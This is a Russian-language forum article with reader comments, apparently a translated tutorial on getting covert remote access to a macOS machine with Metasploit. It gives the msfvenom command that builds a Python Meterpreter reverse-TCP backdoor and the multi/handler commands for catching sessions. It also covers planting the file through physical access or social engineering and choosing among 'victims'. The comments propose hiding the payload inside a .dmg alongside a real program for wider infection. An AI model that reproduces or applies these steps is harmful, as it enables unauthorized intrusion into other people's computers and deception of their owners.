Статья Meterpeter on OS X

На самом деле,тема достаточно старая и заезженная тема, но все таки решил поделиться ей с юными хацкерами, вдруг молодое поколение не знает английский По сути данная статья является переводом другой, взятой с

Ссылка скрыта от гостей

, с небольшим добавлением информации от меня.

Итак, давайте представим, что у нас есть задача получить временный доступ на таргетированную машину с установленной OS X.
В моих планах было иследование СИ, ну а так же просто спортивный интерес

Ни для кого не секрет, что Metasploit является одним из сильнейщих инструментом для создания бекдоров.
Собственно говоря его то мы и будем рассматривать.

Первый этап - установка.

arch

sudo pacman -S metasploit

Второй этап - создание нашего бекдорчика и запуск msf
Для начала нам необходимо создать наш файлик , который нужно будет запустить на таргетированной машине. Для этого в нашей консольки введем следующую команду:

msfvenom -p python/meterpreter/reverse_tcp LHOST=*.*.*.* LPORT=**** > backdoor.py

Утилита msfvenom позволяет создать нам payload из обширного "меню"

Payload

Для тех кто в танке, payload == полезная нагрузка,руткит, слушатель и тд

Так же мы передаем такие параметры, как LHOST и LPORT.
LHOST является IP машины, куда будет перенапрвляться трафик с машины цели, LPORT - соответсвенно порт.

Теперь самое интересное. Давай-те наконец-то запустим msf.

msfconsole

После запуска - софтинка нас встречает рандомным баннером, что достаточно мило и приятно x)

Третий этап - наконец то получили доступ ^~^

Итак, подготовка нашей рабочей машины:

use multi/handler
set PAYLOAD python/meterpreter/reverse_tcp
set LHOST *.*.*.*
set LPORT ****
exploit -j -z

на всякий случай

Уточню, что lhost и lport должны быть такими же,какие мы указали при создании файла

После этого - мы должны увидеть строчку, которая сообщает нам о том, что мы готовы к соединению

А теперь самое интересное

У нас есть на руках файлик, у нас есть цель. И что же делать?
Тут два варианта-либо физический доступ к машине , либо СИ.
Это уже Ваше решение, как загрузить файлик на таргет.

для запуска таргет файла

python backdoor.py

После успешного запуска на тагрете, в консоли мы сможем увидеть

Если у нас несколько "клиентов" попалось и запуск бекдора был осуществлен на нескольких машинах , мы можем посмотреть список всех жертв, благодаря sessions

Затем- мы выбираем нашу жертву , а точнее выбираем активную сессию sessions -i 3
И все, вуоля!

Мы внутри машины жертвы.
Чтобы убедиться в этом-мы можем использовать getuid

Для дальнейшего изучения возможностей хацкера в машине жертвы, настоятельно рекомендую изучить методы в команде help

Вывод:
В заключении хотелось бы сказать, жертвой являлся мой коллега, который был осведомлен. Ну а так же не злоупотребляйте хаками и помните, что карма все запоминает ^~^

Всем спасибо за внимание, жду критики )

 

[z3r0c10wn]

Думаю что запуск через питон не самый подходящий вариант. ИМХО автору лучше было бы представить вариант сборки с .dmg+реальной программой. Тем более это более грамотный подход с точки зрения заражения пользователя при пентесте. Но это только ИМХО.

 

[G0p43R]

У меня была такая идея, но что то я решил пойти более простым путем. У меня есть подход и решение через .dmg

Но, понимаете, данная статья появилась только из тех соображений, что у меня был физ доступ к машине. Чисто таргтетированный подход, через питон, я полагаю это гораздо проще сделать, когда есть физ доступ.

Когда мы говорим про массовое зарожение, то да, Ваше замечание вполне весомо.

Спасибо

 

[Djon253]

Во всём этом самое интересное как раз создание полезной нагрузки (и смешивание с реальной программой), а само интересное доставка к цели (СИ). То что написал автор, как раз самое неинтересное. Гугл просто забит этим материалом. Но это мое мнение. Продолжите пожалуйста, и раскройте тему. В жизни у вас 100%не будет доступа к цели)))).